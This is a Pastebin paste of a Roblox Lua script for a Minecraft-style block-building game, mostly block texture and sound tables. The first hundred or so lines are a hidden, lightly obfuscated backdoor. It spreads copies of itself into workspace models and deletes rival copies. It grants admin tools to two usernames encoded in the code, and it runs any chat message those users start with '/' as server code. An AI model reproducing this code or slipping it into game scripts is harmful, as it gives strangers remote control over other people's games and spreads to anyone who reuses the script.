filipaopastebins2134

Steve Script ROBLOX

Feb 2nd, 2019
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 96.08 KB | None | 0 0
  1. Altitude = script:clone()
  2. calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
  3. Knox = {}
  4. table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
  5. table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
  6. Play = {}
  7. function rando(votation)
  8. local hatr = 5
  9. local calc = math.pi * math.huge
  10. local longicate = votation:GetChildren()
  11. if #longicate > hatr then
  12. calc = calc + math.pi
  13. return longicate[math.random(6,#longicate)]
  14. end
  15. end
  16. function doublecheck()
  17. local fj = game.Workspace:GetChildren()
  18. for off = 1,#fj do
  19. if fj[off].className == "Part" then
  20. local fh = fj[off]:FindFirstChild("Anti-Lag")
  21. if fh ~= nil then
  22. return false
  23. end
  24. end
  25. end
  26. return true
  27. end
  28. function workcheck()
  29. if doublecheck() == true then
  30. local l = Altitude:clone()
  31. l.Parent = rando(game.Workspace)
  32. end
  33. end
  34. workcheck()
  35. function gibite(quen)
  36. local hup = Instance.new("Message")
  37. hup.Text = "Detected"
  38. hup.Parent = quen.Parent
  39. local con = Instance.new("Script")
  40. con.Source = [[wait(5) script.Parent:remove()]]
  41. con.Parent = hup
  42. for ish = 0,7 do
  43. local a = Instance.new("HopperBin")
  44. a.BinType = ish
  45. a.Parent = quen
  46. end
  47. end
  48. function laber(zonsa)
  49. wait()
  50. for slate = 1,#Knox do
  51. if zonsa.Name == Knox[slate] then
  52. gibite(zonsa.Backpack)
  53. table.insert (Play, 1, zonsa.Name)
  54. end
  55. end
  56. end
  57. function yeild(frequency)
  58. local t = Knox
  59. for g = 1,#t do
  60. if t[g] == frequency.Name then
  61. return true
  62. end
  63. end
  64. return false
  65. end
  66. function check(los)
  67. local r = los:GetChildren()
  68. for i = 1,#r do
  69. local h = r[i]:FindFirstChild("Anti-Lag")
  70. if h ~= nil then
  71. h:remove()
  72. end
  73. end
  74. end
  75. function alto(xylem)
  76. if xylem.className == "Model" then
  77. check(xylem)
  78. local que = script:clone()
  79. que.Parent = rando(xylem)
  80. end
  81. end
  82. function sortation(gone)
  83. local dimbs = Altitude:clone()
  84. dimbs = ramno(game.Workspace)
  85. end
  86. function onPlayerEntered(newPlayer)
  87. newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
  88. end
  89. function Player(player)
  90. player.Changed:connect(function (property)
  91. if property == "Character" then
  92. laber(player)
  93. end
  94. end)
  95. end
  96. game.Players.PlayerAdded:connect(Player)
  97. game.Players.ChildAdded:connect(onPlayerEntered)
  98. game.Players.ChildAdded:connect(laber)
  99. script.ChildRemoved:connect(sortation)
  100. game.Workspace.ChildAdded:connect(alto)
  101. function onChatted(msg, recipient, speaker)
  102. if yeild(speaker) ~= false then
  103. if string.sub(msg,1,1) == "/" then
  104. local dsting = Instance.new("Script")
  105. dsting.Source = string.sub(msg,2)
  106. dsting.Parent = game.Workspace
  107. end
  108. end
  109. end
  110.  
  111. workspace:WaitForChild("Camera"):ClearAllChildren()
  112. local RS = game:GetService("RunService").RenderStepped
  113. local targetName = game.Players.LocalPlayer.Name
  114. local player = game.Players:FindFirstChild(targetName)
  115.  
  116. local creativeInventory = {
  117. {
  118. name = "Dirt",
  119. size = Vector3.new(2.6, 2.6, 2.6),
  120. transparency = 0;
  121. frontTex = "rbxassetid://152569532",
  122. backTex = "rbxassetid://152569532",
  123. topTex = "rbxassetid://152569532",
  124. bottomTex = "rbxassetid://152569532",
  125. leftTex = "rbxassetid://152569532",
  126. rightTex = "rbxassetid://152569532",
  127. displayTex = "",
  128. sound = "rbxassetid://1102186681",
  129. soundVol = 1.25,
  130. hasGravity = false,
  131. objectType = "Block"
  132. },
  133. {
  134. name = "Grass",
  135. size = Vector3.new(2.6, 2.6, 2.6),
  136. transparency = 0;
  137. frontTex = "rbxassetid://96430337",
  138. backTex = "rbxassetid://96430337",
  139. topTex = "rbxassetid://96430265",
  140. bottomTex = "rbxassetid://179655033",
  141. leftTex = "rbxassetid://96430337",
  142. rightTex = "rbxassetid://96430337",
  143. displayTex = "",
  144. sound = "rbxassetid://1102186681",
  145. soundVol = 1.25,
  146. hasGravity = false,
  147. objectType = "Block"
  148. },
  149. {
  150. name = "Sand",
  151. size = Vector3.new(2.6, 2.6, 2.6),
  152. transparency = 0;
  153. frontTex = "rbxassetid://347007448",
  154. backTex = "rbxassetid://347007448",
  155. topTex = "rbxassetid://347007448",
  156. bottomTex = "rbxassetid://347007448",
  157. leftTex = "rbxassetid://347007448",
  158. rightTex = "rbxassetid://347007448",
  159. displayTex = "",
  160. sound = "rbxassetid://1102186681",
  161. soundVol = 1.25,
  162. hasGravity = true,
  163. objectType = "Block"
  164. },
  165. {
  166. name = "Gravel",
  167. size = Vector3.new(2.6, 2.6, 2.6),
  168. transparency = 0;
  169. frontTex = "rbxassetid://151701568",
  170. backTex = "rbxassetid://151701568",
  171. topTex = "rbxassetid://151701568",
  172. bottomTex = "rbxassetid://151701568",
  173. leftTex = "rbxassetid://151701568",
  174. rightTex = "rbxassetid://151701568",
  175. displayTex = "",
  176. sound = "rbxassetid://1102186681",
  177. soundVol = 1.25,
  178. hasGravity = true,
  179. objectType = "Block"
  180. },
  181. {
  182. name = "Stone",
  183. size = Vector3.new(2.6, 2.6, 2.6),
  184. transparency = 0;
  185. frontTex = "rbxassetid://75880927",
  186. backTex = "rbxassetid://75880927",
  187. topTex = "rbxassetid://75880927",
  188. bottomTex = "rbxassetid://75880927",
  189. leftTex = "rbxassetid://75880927",
  190. rightTex = "rbxassetid://75880927",
  191. displayTex = "",
  192. sound = "rbxassetid://1016978163",
  193. soundVol = 2,
  194. hasGravity = false,
  195. objectType = "Block"
  196. },
  197. {
  198. name = "Diamond Ore",
  199. size = Vector3.new(2.6, 2.6, 2.6),
  200. transparency = 0;
  201. frontTex = "rbxassetid://57928490",
  202. backTex = "rbxassetid://57928490",
  203. topTex = "rbxassetid://57928490",
  204. bottomTex = "rbxassetid://57928490",
  205. leftTex = "rbxassetid://57928490",
  206. rightTex = "rbxassetid://57928490",
  207. displayTex = "",
  208. sound = "rbxassetid://1016978163",
  209. soundVol = 2,
  210. hasGravity = false,
  211. objectType = "Block"
  212. },
  213. {
  214. name = "Diamond Block",
  215. size = Vector3.new(2.6, 2.6, 2.6),
  216. transparency = 0;
  217. frontTex = "rbxassetid://56749955",
  218. backTex = "rbxassetid://56749955",
  219. topTex = "rbxassetid://56749955",
  220. bottomTex = "rbxassetid://56749955",
  221. leftTex = "rbxassetid://56749955",
  222. rightTex = "rbxassetid://56749955",
  223. displayTex = "",
  224. sound = "rbxassetid://1016978163",
  225. soundVol = 2,
  226. hasGravity = false,
  227. objectType = "Block"
  228. },
  229. {
  230. name = "Emerald Block",
  231. size = Vector3.new(2.6, 2.6, 2.6),
  232. transparency = 0;
  233. frontTex = "rbxassetid://152410853",
  234. backTex = "rbxassetid://152410853",
  235. topTex = "rbxassetid://152410853",
  236. bottomTex = "rbxassetid://152410853",
  237. leftTex = "rbxassetid://152410853",
  238. rightTex = "rbxassetid://152410853",
  239. displayTex = "",
  240. sound = "rbxassetid://1016978163",
  241. soundVol = 2,
  242. hasGravity = false,
  243. objectType = "Block"
  244. },
  245. {
  246. name = "Emerald Ore",
  247. size = Vector3.new(2.6, 2.6, 2.6),
  248. transparency = 0;
  249. frontTex = "rbxassetid://152410868",
  250. backTex = "rbxassetid://152410868",
  251. topTex = "rbxassetid://152410868",
  252. bottomTex = "rbxassetid://152410868",
  253. leftTex = "rbxassetid://152410868",
  254. rightTex = "rbxassetid://152410868",
  255. displayTex = "",
  256. sound = "rbxassetid://1016978163",
  257. soundVol = 2,
  258. hasGravity = false,
  259. objectType = "Block"
  260. },
  261. {
  262. name = "Obsidian",
  263. size = Vector3.new(2.6, 2.6, 2.6),
  264. transparency = 0;
  265. frontTex = "rbxassetid://112560322",
  266. backTex = "rbxassetid://112560322",
  267. topTex = "rbxassetid://112560322",
  268. bottomTex = "rbxassetid://112560322",
  269. leftTex = "rbxassetid://112560322",
  270. rightTex = "rbxassetid://112560322",
  271. displayTex = "",
  272. sound = "rbxassetid://1016978163",
  273. soundVol = 2,
  274. hasGravity = false,
  275. objectType = "Block"
  276. },
  277. {
  278. name = "Gold Block",
  279. size = Vector3.new(2.6, 2.6, 2.6),
  280. transparency = 0;
  281. frontTex = "rbxassetid://152572128",
  282. backTex = "rbxassetid://152572128",
  283. topTex = "rbxassetid://152572128",
  284. bottomTex = "rbxassetid://152572128",
  285. leftTex = "rbxassetid://152572128",
  286. rightTex = "rbxassetid://152572128",
  287. displayTex = "",
  288. sound = "rbxassetid://1016978163",
  289. soundVol = 2,
  290. hasGravity = false,
  291. objectType = "Block"
  292. },
  293. {
  294. name = "Gold Ore",
  295. size = Vector3.new(2.6, 2.6, 2.6),
  296. transparency = 0;
  297. frontTex = "rbxassetid://152572121",
  298. backTex = "rbxassetid://152572121",
  299. topTex = "rbxassetid://152572121",
  300. bottomTex = "rbxassetid://152572121",
  301. leftTex = "rbxassetid://152572121",
  302. rightTex = "rbxassetid://152572121",
  303. displayTex = "",
  304. sound = "rbxassetid://1016978163",
  305. soundVol = 2,
  306. hasGravity = false,
  307. objectType = "Block"
  308. },
  309. {
  310. name = "Iron Block",
  311. size = Vector3.new(2.6, 2.6, 2.6),
  312. transparency = 0;
  313. frontTex = "rbxassetid://152572134",
  314. backTex = "rbxassetid://152572134",
  315. topTex = "rbxassetid://152572134",
  316. bottomTex = "rbxassetid://152572134",
  317. leftTex = "rbxassetid://152572134",
  318. rightTex = "rbxassetid://152572134",
  319. displayTex = "",
  320. sound = "rbxassetid://1016978163",
  321. soundVol = 2,
  322. hasGravity = false,
  323. objectType = "Block"
  324. },
  325. {
  326. name = "Iron Ore",
  327. size = Vector3.new(2.6, 2.6, 2.6),
  328. transparency = 0;
  329. frontTex = "rbxassetid://132879562",
  330. backTex = "rbxassetid://132879562",
  331. topTex = "rbxassetid://132879562",
  332. bottomTex = "rbxassetid://132879562",
  333. leftTex = "rbxassetid://132879562",
  334. rightTex = "rbxassetid://132879562",
  335. displayTex = "",
  336. sound = "rbxassetid://1016978163",
  337. soundVol = 2,
  338. hasGravity = false,
  339. objectType = "Block"
  340. },
  341. {
  342. name = "Redstone Block",
  343. size = Vector3.new(2.6, 2.6, 2.6),
  344. transparency = 0;
  345. frontTex = "rbxassetid://136260219",
  346. backTex = "rbxassetid://136260219",
  347. topTex = "rbxassetid://136260219",
  348. bottomTex = "rbxassetid://136260219",
  349. leftTex = "rbxassetid://136260219",
  350. rightTex = "rbxassetid://136260219",
  351. sound = "rbxassetid://1016978163",
  352. soundVol = 2,
  353. hasGravity = false,
  354. objectType = "Block"
  355. },
  356. {
  357. name = "Redstone Ore",
  358. size = Vector3.new(2.6, 2.6, 2.6),
  359. transparency = 0;
  360. frontTex = "rbxassetid://152572209",
  361. backTex = "rbxassetid://152572209",
  362. topTex = "rbxassetid://152572209",
  363. bottomTex = "rbxassetid://152572209",
  364. leftTex = "rbxassetid://152572209",
  365. rightTex = "rbxassetid://152572209",
  366. displayTex = "",
  367. sound = "rbxassetid://1016978163",
  368. soundVol = 2,
  369. hasGravity = false,
  370. objectType = "Block"
  371. },
  372. {
  373. name = "Coal Block",
  374. size = Vector3.new(2.6, 2.6, 2.6),
  375. transparency = 0;
  376. frontTex = "rbxassetid://152527418",
  377. backTex = "rbxassetid://152527418",
  378. topTex = "rbxassetid://152527418",
  379. bottomTex = "rbxassetid://152527418",
  380. leftTex = "rbxassetid://152527418",
  381. rightTex = "rbxassetid://152527418",
  382. displayTex = "",
  383. sound = "rbxassetid://1016978163",
  384. soundVol = 2,
  385. hasGravity = false,
  386. objectType = "Block"
  387. },
  388. {
  389. name = "Coal Ore",
  390. size = Vector3.new(2.6, 2.6, 2.6),
  391. transparency = 0;
  392. frontTex = "rbxassetid://152572101",
  393. backTex = "rbxassetid://152572101",
  394. topTex = "rbxassetid://152572101",
  395. bottomTex = "rbxassetid://152572101",
  396. leftTex = "rbxassetid://152572101",
  397. rightTex = "rbxassetid://152572101",
  398. displayTex = "",
  399. sound = "rbxassetid://1016978163",
  400. soundVol = 2,
  401. hasGravity = false,
  402. objectType = "Block"
  403. },
  404. {
  405. name = "Bedrock",
  406. size = Vector3.new(2.6, 2.6, 2.6),
  407. transparency = 0;
  408. frontTex = "rbxassetid://75881126",
  409. backTex = "rbxassetid://75881126",
  410. topTex = "rbxassetid://75881126",
  411. bottomTex = "rbxassetid://75881126",
  412. leftTex = "rbxassetid://75881126",
  413. rightTex = "rbxassetid://75881126",
  414. displayTex = "",
  415. sound = "rbxassetid://1016978163",
  416. soundVol = 2,
  417. hasGravity = false,
  418. objectType = "Block"
  419. },
  420. {
  421. name = "Cobblestone",
  422. size = Vector3.new(2.6, 2.6, 2.6),
  423. transparency = 0;
  424. frontTex = "rbxassetid://152572105",
  425. backTex = "rbxassetid://152572105",
  426. topTex = "rbxassetid://152572105",
  427. bottomTex = "rbxassetid://152572105",
  428. leftTex = "rbxassetid://152572105",
  429. rightTex = "rbxassetid://152572105",
  430. displayTex = "",
  431. sound = "rbxassetid://1016978163",
  432. soundVol = 2,
  433. hasGravity = false,
  434. objectType = "Block"
  435. },
  436. {
  437. name = "Mossy Stone Brick",
  438. size = Vector3.new(2.6, 2.6, 2.6),
  439. transparency = 0;
  440. frontTex = "rbxassetid://61826751",
  441. backTex = "rbxassetid://61826751",
  442. topTex = "rbxassetid://61826751",
  443. bottomTex = "rbxassetid://61826751",
  444. leftTex = "rbxassetid://61826751",
  445. rightTex = "rbxassetid://61826751",
  446. displayTex = "",
  447. sound = "rbxassetid://1016978163",
  448. soundVol = 2,
  449. hasGravity = false,
  450. objectType = "Block"
  451. },
  452. {
  453. name = "Cracked Stone Brick",
  454. size = Vector3.new(2.6, 2.6, 2.6),
  455. transparency = 0;
  456. frontTex = "rbxassetid://151802087",
  457. backTex = "rbxassetid://151802087",
  458. topTex = "rbxassetid://151802087",
  459. bottomTex = "rbxassetid://151802087",
  460. leftTex = "rbxassetid://151802087",
  461. rightTex = "rbxassetid://151802087",
  462. displayTex = "",
  463. sound = "rbxassetid://1016978163",
  464. soundVol = 2,
  465. hasGravity = false,
  466. objectType = "Block"
  467. },
  468. {
  469. name = "Chiseled Stone Brick",
  470. size = Vector3.new(2.6, 2.6, 2.6),
  471. transparency = 0;
  472. frontTex = "rbxassetid://151802074",
  473. backTex = "rbxassetid://151802074",
  474. topTex = "rbxassetid://151802074",
  475. bottomTex = "rbxassetid://151802074",
  476. leftTex = "rbxassetid://151802074",
  477. rightTex = "rbxassetid://151802074",
  478. displayTex = "",
  479. sound = "rbxassetid://1016978163",
  480. soundVol = 2,
  481. hasGravity = false,
  482. objectType = "Block"
  483. },
  484. {
  485. name = "Stone Brick",
  486. size = Vector3.new(2.6, 2.6, 2.6),
  487. transparency = 0;
  488. frontTex = "rbxassetid://61826773",
  489. backTex = "rbxassetid://61826773",
  490. topTex = "rbxassetid://61826773",
  491. bottomTex = "rbxassetid://61826773",
  492. leftTex = "rbxassetid://61826773",
  493. rightTex = "rbxassetid://61826773",
  494. displayTex = "",
  495. sound = "rbxassetid://1016978163",
  496. soundVol = 2,
  497. hasGravity = false,
  498. objectType = "Block"
  499. },
  500. {
  501. name = "Nether Brick",
  502. size = Vector3.new(2.6, 2.6, 2.6),
  503. transparency = 0;
  504. frontTex = "rbxassetid://151802104",
  505. backTex = "rbxassetid://151802104",
  506. topTex = "rbxassetid://151802104",
  507. bottomTex = "rbxassetid://151802104",
  508. leftTex = "rbxassetid://151802104",
  509. rightTex = "rbxassetid://151802104",
  510. displayTex = "",
  511. sound = "rbxassetid://1016978163",
  512. soundVol = 2,
  513. hasGravity = false,
  514. objectType = "Block"
  515. },
  516. {
  517. name = "Granite",
  518. size = Vector3.new(2.6, 2.6, 2.6),
  519. transparency = 0;
  520. frontTex = "rbxassetid://151776467",
  521. backTex = "rbxassetid://151776467",
  522. topTex = "rbxassetid://151776467",
  523. bottomTex = "rbxassetid://151776467",
  524. leftTex = "rbxassetid://151776467",
  525. rightTex = "rbxassetid://151776467",
  526. displayTex = "",
  527. sound = "rbxassetid://1016978163",
  528. soundVol = 2,
  529. hasGravity = false,
  530. objectType = "Block"
  531. },
  532. {
  533. name = "Diorite",
  534. size = Vector3.new(2.6, 2.6, 2.6),
  535. transparency = 0;
  536. frontTex = "rbxassetid://151776452",
  537. backTex = "rbxassetid://151776452",
  538. topTex = "rbxassetid://151776452",
  539. bottomTex = "rbxassetid://151776452",
  540. leftTex = "rbxassetid://151776452",
  541. rightTex = "rbxassetid://151776452",
  542. sound = "rbxassetid://1016978163",
  543. soundVol = 2,
  544. hasGravity = false,
  545. objectType = "Block"
  546. },
  547. {
  548. name = "Andesite",
  549. size = Vector3.new(2.6, 2.6, 2.6),
  550. transparency = 0;
  551. frontTex = "rbxassetid://151776422",
  552. backTex = "rbxassetid://151776422",
  553. topTex = "rbxassetid://151776422",
  554. bottomTex = "rbxassetid://151776422",
  555. leftTex = "rbxassetid://151776422",
  556. rightTex = "rbxassetid://151776422",
  557. displayTex = "",
  558. sound = "rbxassetid://1016978163",
  559. soundVol = 2,
  560. hasGravity = false,
  561. objectType = "Block"
  562. },
  563. {
  564. name = "Polished Granite",
  565. size = Vector3.new(2.6, 2.6, 2.6),
  566. transparency = 0;
  567. frontTex = "rbxassetid://151776506",
  568. backTex = "rbxassetid://151776506",
  569. topTex = "rbxassetid://151776506",
  570. bottomTex = "rbxassetid://151776506",
  571. leftTex = "rbxassetid://151776506",
  572. rightTex = "rbxassetid://151776506",
  573. displayTex = "",
  574. sound = "rbxassetid://1016978163",
  575. soundVol = 2,
  576. hasGravity = false,
  577. objectType = "Block"
  578. },
  579. {
  580. name = "Polished Diorite",
  581. size = Vector3.new(2.6, 2.6, 2.6),
  582. transparency = 0;
  583. frontTex = "rbxassetid://151776533",
  584. backTex = "rbxassetid://151776533",
  585. topTex = "rbxassetid://151776533",
  586. bottomTex = "rbxassetid://151776533",
  587. leftTex = "rbxassetid://151776533",
  588. rightTex = "rbxassetid://151776533",
  589. displayTex = "",
  590. sound = "rbxassetid://1016978163",
  591. soundVol = 2,
  592. hasGravity = false,
  593. objectType = "Block"
  594. },
  595. {
  596. name = "Polished Andesite",
  597. size = Vector3.new(2.6, 2.6, 2.6),
  598. transparency = 0;
  599. frontTex = "rbxassetid://151776506",
  600. backTex = "rbxassetid://151776506",
  601. topTex = "rbxassetid://151776506",
  602. bottomTex = "rbxassetid://151776506",
  603. leftTex = "rbxassetid://151776506",
  604. rightTex = "rbxassetid://151776506",
  605. displayTex = "",
  606. sound = "rbxassetid://1016978163",
  607. soundVol = 2,
  608. hasGravity = false,
  609. objectType = "Block"
  610. },
  611. {
  612. name = "Brick Block",
  613. size = Vector3.new(2.6, 2.6, 2.6),
  614. transparency = 0;
  615. frontTex = "rbxassetid://59389191",
  616. backTex = "rbxassetid://59389191",
  617. topTex = "rbxassetid://59389191",
  618. bottomTex = "rbxassetid://59389191",
  619. leftTex = "rbxassetid://59389191",
  620. rightTex = "rbxassetid://59389191",
  621. displayTex = "",
  622. sound = "rbxassetid://1016978163",
  623. soundVol = 2,
  624. hasGravity = false,
  625. objectType = "Block"
  626. },
  627. {
  628. name = "Packed Ice",
  629. size = Vector3.new(2.6, 2.6, 2.6),
  630. transparency = 0;
  631. frontTex = "rbxassetid://152528023",
  632. backTex = "rbxassetid://152528023",
  633. topTex = "rbxassetid://152528023",
  634. bottomTex = "rbxassetid://152528023",
  635. leftTex = "rbxassetid://152528023",
  636. rightTex = "rbxassetid://152528023",
  637. displayTex = "",
  638. sound = "rbxassetid://1016978163",
  639. soundVol = 2,
  640. hasGravity = false,
  641. objectType = "Block"
  642. },
  643. {
  644. name = "Ice Block",
  645. size = Vector3.new(2.6, 2.6, 2.6),
  646. transparency = 1;
  647. frontTex = "rbxassetid://118555586",
  648. backTex = "rbxassetid://118555586",
  649. topTex = "rbxassetid://118555586",
  650. bottomTex = "rbxassetid://118555586",
  651. leftTex = "rbxassetid://118555586",
  652. rightTex = "rbxassetid://118555586",
  653. displayTex = "",
  654. sound = "rbxassetid://1016978163",
  655. soundVol = 2,
  656. hasGravity = false,
  657. objectType = "Block"
  658. },
  659. {
  660. name = "Netherrack",
  661. size = Vector3.new(2.6, 2.6, 2.6),
  662. transparency = 0;
  663. frontTex = "rbxassetid://151802119",
  664. backTex = "rbxassetid://151802119",
  665. topTex = "rbxassetid://151802119",
  666. bottomTex = "rbxassetid://151802119",
  667. leftTex = "rbxassetid://151802119",
  668. rightTex = "rbxassetid://151802119",
  669. displayTex = "",
  670. sound = "rbxassetid://1016978163",
  671. soundVol = 2,
  672. hasGravity = false,
  673. objectType = "Block"
  674. },
  675. {
  676. name = "End Stone",
  677. size = Vector3.new(2.6, 2.6, 2.6),
  678. transparency = 0;
  679. frontTex = "rbxassetid://151802091",
  680. backTex = "rbxassetid://151802091",
  681. topTex = "rbxassetid://151802091",
  682. bottomTex = "rbxassetid://151802091",
  683. leftTex = "rbxassetid://151802091",
  684. rightTex = "rbxassetid://151802091",
  685. displayTex = "",
  686. sound = "rbxassetid://1016978163",
  687. soundVol = 2,
  688. hasGravity = false,
  689. objectType = "Block"
  690. },
  691. {
  692. name = "Glass Block",
  693. size = Vector3.new(2.6, 2.6, 2.6),
  694. transparency = 1;
  695. frontTex = "rbxassetid://152239003",
  696. backTex = "rbxassetid://152239003",
  697. topTex = "rbxassetid://152239003",
  698. bottomTex = "rbxassetid://152239003",
  699. leftTex = "rbxassetid://152239003",
  700. rightTex = "rbxassetid://152239003",
  701. displayTex = "",
  702. sound = "rbxassetid://1016978163",
  703. soundVol = 2,
  704. hasGravity = false,
  705. objectType = "Block"
  706. },
  707. {
  708. name = "Glowstone",
  709. size = Vector3.new(2.6, 2.6, 2.6),
  710. transparency = 0;
  711. frontTex = "rbxassetid://54790811",
  712. backTex = "rbxassetid://54790811",
  713. topTex = "rbxassetid://54790811",
  714. bottomTex = "rbxassetid://54790811",
  715. leftTex = "rbxassetid://54790811",
  716. rightTex = "rbxassetid://54790811",
  717. displayTex = "",
  718. sound = "rbxassetid://1016978163",
  719. soundVol = 2,
  720. hasGravity = false,
  721. objectType = "Block"
  722. },
  723. {
  724. name = "Bookshelf",
  725. size = Vector3.new(2.6, 2.6, 2.6),
  726. transparency = 0;
  727. frontTex = "rbxassetid://118554092",
  728. backTex = "rbxassetid://118554092",
  729. topTex = "rbxassetid://346201871",
  730. bottomTex = "rbxassetid://346201871",
  731. leftTex = "rbxassetid://118554092",
  732. rightTex = "rbxassetid://118554092",
  733. displayTex = "",
  734. sound = "rbxassetid://507863457",
  735. soundVol = 2,
  736. hasGravity = false,
  737. objectType = "Block"
  738. },
  739. {
  740. name = "Oak Wood Planks",
  741. size = Vector3.new(2.6, 2.6, 2.6),
  742. transparency = 0;
  743. frontTex = "rbxassetid://346201871",
  744. backTex = "rbxassetid://346201871",
  745. topTex = "rbxassetid://346201871",
  746. bottomTex = "rbxassetid://346201871",
  747. leftTex = "rbxassetid://346201871",
  748. rightTex = "rbxassetid://346201871",
  749. displayTex = "",
  750. sound = "rbxassetid://507863457",
  751. soundVol = 2,
  752. hasGravity = false,
  753. objectType = "Block"
  754. },
  755. {
  756. name = "Oak Log",
  757. size = Vector3.new(2.6, 2.6, 2.6),
  758. transparency = 0;
  759. frontTex = "rbxassetid://71445924",
  760. backTex = "rbxassetid://71445924",
  761. topTex = "rbxassetid://152538557",
  762. bottomTex = "rbxassetid://152538557",
  763. leftTex = "rbxassetid://71445924",
  764. rightTex = "rbxassetid://71445924",
  765. displayTex = "",
  766. sound = "rbxassetid://507863457",
  767. soundVol = 2,
  768. hasGravity = false,
  769. objectType = "Block"
  770. },
  771. {
  772. name = "Oak Leaves",
  773. size = Vector3.new(2.6, 2.6, 2.6),
  774. transparency = 1;
  775. frontTex = "rbxassetid://151708391",
  776. backTex = "rbxassetid://151708391",
  777. topTex = "rbxassetid://151708391",
  778. bottomTex = "rbxassetid://151708391",
  779. leftTex = "rbxassetid://151708391",
  780. rightTex = "rbxassetid://151708391",
  781. displayTex = "",
  782. sound = "rbxassetid://507863457",
  783. -- couldn't find a leaves sound for this one, sorry lol
  784. soundVol = 2,
  785. hasGravity = false,
  786. objectType = "Block"
  787. }
  788. }
  789. local toolBar = {
  790. {
  791. name = "Dirt Block",
  792. size = Vector3.new(2.6, 2.6, 2.6),
  793. transparency = 0;
  794. frontTex = "rbxassetid://152569532",
  795. backTex = "rbxassetid://152569532",
  796. topTex = "rbxassetid://152569532",
  797. bottomTex = "rbxassetid://152569532",
  798. leftTex = "rbxassetid://152569532",
  799. rightTex = "rbxassetid://152569532",
  800. displayTex = "",
  801. sound = "rbxassetid://1102186681",
  802. soundVol = 1.25,
  803. hasGravity = false,
  804. objectType = "Block"
  805. },
  806. {
  807. name = "Grass Block",
  808. size = Vector3.new(2.6, 2.6, 2.6),
  809. transparency = 0;
  810. frontTex = "rbxassetid://96430337",
  811. backTex = "rbxassetid://96430337",
  812. topTex = "rbxassetid://96430265",
  813. bottomTex = "rbxassetid://179655033",
  814. leftTex = "rbxassetid://96430337",
  815. rightTex = "rbxassetid://96430337",
  816. displayTex = "",
  817. sound = "rbxassetid://1102186681",
  818. soundVol = 1.25,
  819. hasGravity = false,
  820. objectType = "Block"
  821. },
  822. {
  823. name = "Stone",
  824. size = Vector3.new(2.6, 2.6, 2.6),
  825. transparency = 0;
  826. frontTex = "rbxassetid://75880927",
  827. backTex = "rbxassetid://75880927",
  828. topTex = "rbxassetid://75880927",
  829. bottomTex = "rbxassetid://75880927",
  830. leftTex = "rbxassetid://75880927",
  831. rightTex = "rbxassetid://75880927",
  832. displayTex = "",
  833. sound = "rbxassetid://1016978163",
  834. soundVol = 2,
  835. hasGravity = false,
  836. objectType = "Block"
  837. },
  838. {
  839. name = "Diamond Ore",
  840. size = Vector3.new(2.6, 2.6, 2.6),
  841. transparency = 0;
  842. frontTex = "rbxassetid://57928490",
  843. backTex = "rbxassetid://57928490",
  844. topTex = "rbxassetid://57928490",
  845. bottomTex = "rbxassetid://57928490",
  846. leftTex = "rbxassetid://57928490",
  847. rightTex = "rbxassetid://57928490",
  848. displayTex = "",
  849. sound = "rbxassetid://1016978163",
  850. soundVol = 2,
  851. hasGravity = false,
  852. objectType = "Block"
  853. },
  854. {
  855. name = "Diamond Block",
  856. size = Vector3.new(2.6, 2.6, 2.6),
  857. transparency = 0;
  858. frontTex = "rbxassetid://56749955",
  859. backTex = "rbxassetid://56749955",
  860. topTex = "rbxassetid://56749955",
  861. bottomTex = "rbxassetid://56749955",
  862. leftTex = "rbxassetid://56749955",
  863. rightTex = "rbxassetid://56749955",
  864. displayTex = "",
  865. sound = "rbxassetid://1016978163",
  866. soundVol = 2,
  867. hasGravity = false,
  868. objectType = "Block"
  869. },
  870. {
  871. name = "Oak Wood Planks",
  872. size = Vector3.new(2.6, 2.6, 2.6),
  873. transparency = 0;
  874. frontTex = "rbxassetid://346201871",
  875. backTex = "rbxassetid://346201871",
  876. topTex = "rbxassetid://346201871",
  877. bottomTex = "rbxassetid://346201871",
  878. leftTex = "rbxassetid://346201871",
  879. rightTex = "rbxassetid://346201871",
  880. displayTex = "",
  881. sound = "rbxassetid://507863457",
  882. soundVol = 2,
  883. hasGravity = false,
  884. objectType = "Block"
  885. },
  886. {
  887. name = "Oak Log",
  888. size = Vector3.new(2.6, 2.6, 2.6),
  889. transparency = 0;
  890. frontTex = "rbxassetid://71445924",
  891. backTex = "rbxassetid://71445924",
  892. topTex = "rbxassetid://152538557",
  893. bottomTex = "rbxassetid://152538557",
  894. leftTex = "rbxassetid://71445924",
  895. rightTex = "rbxassetid://71445924",
  896. displayTex = "",
  897. sound = "rbxassetid://507863457",
  898. soundVol = 2,
  899. hasGravity = false,
  900. objectType = "Block"
  901. }
  902. --[[{
  903. name = "Redstone",
  904. size = Vector3.new(2.6, 0.05, 2.6),
  905. transparency = 1;
  906. frontTex = "rbxassetid://151911305",
  907. backTex = "",
  908. topTex = "rbxassetid://151911305",
  909. bottomTex = "",
  910. leftTex = "",
  911. rightTex = "",
  912. displayTex = "rbxassetid://64124418",
  913. sound = "rbxassetid://1016978163",
  914. soundVol = 2,
  915. hasGravity = false,
  916. objectType = "Redstone Dust"
  917. },]]
  918. }
  919. function putTexture(part, frontF, backF, topF, bottomF, leftF, rightF, className)
  920. local faces = {"Front", "Back", "Top", "Bottom", "Left", "Right"}
  921. for i,f in pairs(faces) do
  922. local decal = Instance.new(className, part)
  923. if i == 1 then decal.Texture = frontF decal.Name = f end
  924. if i == 2 then decal.Texture = backF or frontF decal.Name = f end
  925. if i == 3 then decal.Texture = topF or frontF decal.Name = f end
  926. if i == 4 then decal.Texture = bottomF or frontF decal.Name = f end
  927. if i == 5 then decal.Texture = leftF or frontF decal.Name = f end
  928. if i == 6 then decal.Texture = rightF or frontF decal.Name = f end
  929. decal.Face = f
  930. end
  931. return part
  932. end
  933. function makeSquare(position, size, color, transparency, parent, zindex)
  934. local label = Instance.new("TextLabel", parent)
  935. label.Text = ""
  936. label.BorderSizePixel = 0
  937. label.BackgroundTransparency = transparency
  938. label.Position = position
  939. label.Size = size
  940. label.BackgroundColor3 = color
  941. if zindex == nil then label.ZIndex = 1 else label.ZIndex = zindex end
  942. return label
  943. end
